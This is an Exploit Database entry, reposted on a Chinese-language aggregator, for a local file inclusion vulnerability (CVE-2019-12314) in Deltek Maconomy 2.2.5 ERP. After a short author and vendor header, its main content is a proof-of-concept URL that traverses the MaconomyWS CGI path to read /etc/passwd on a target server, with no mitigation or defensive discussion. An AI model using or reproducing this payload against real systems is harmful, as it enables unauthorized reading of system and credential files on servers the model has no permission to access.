Deltek Maconomy 2.2.5 – Local File Inclusion

• Exploit Database
• 14 阅读

• 作者： JameelNabbo
  日期： 2019-05-27
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46931/

• # Exploit Title: Maconomy Erp local file include
  # Date: 22/05/2019
  # Exploit Author: JameelNabbo
  # Website: jameelnabbo.com
  # Vendor Homepage: https://www.deltek.com
  # Software Link: https://www.deltek.com/en-gb/products/project-erp/maconomy
  # CVE: CVE-2019-12314
  POC:
  
  POC:
  http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//LFI
  Example
  http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd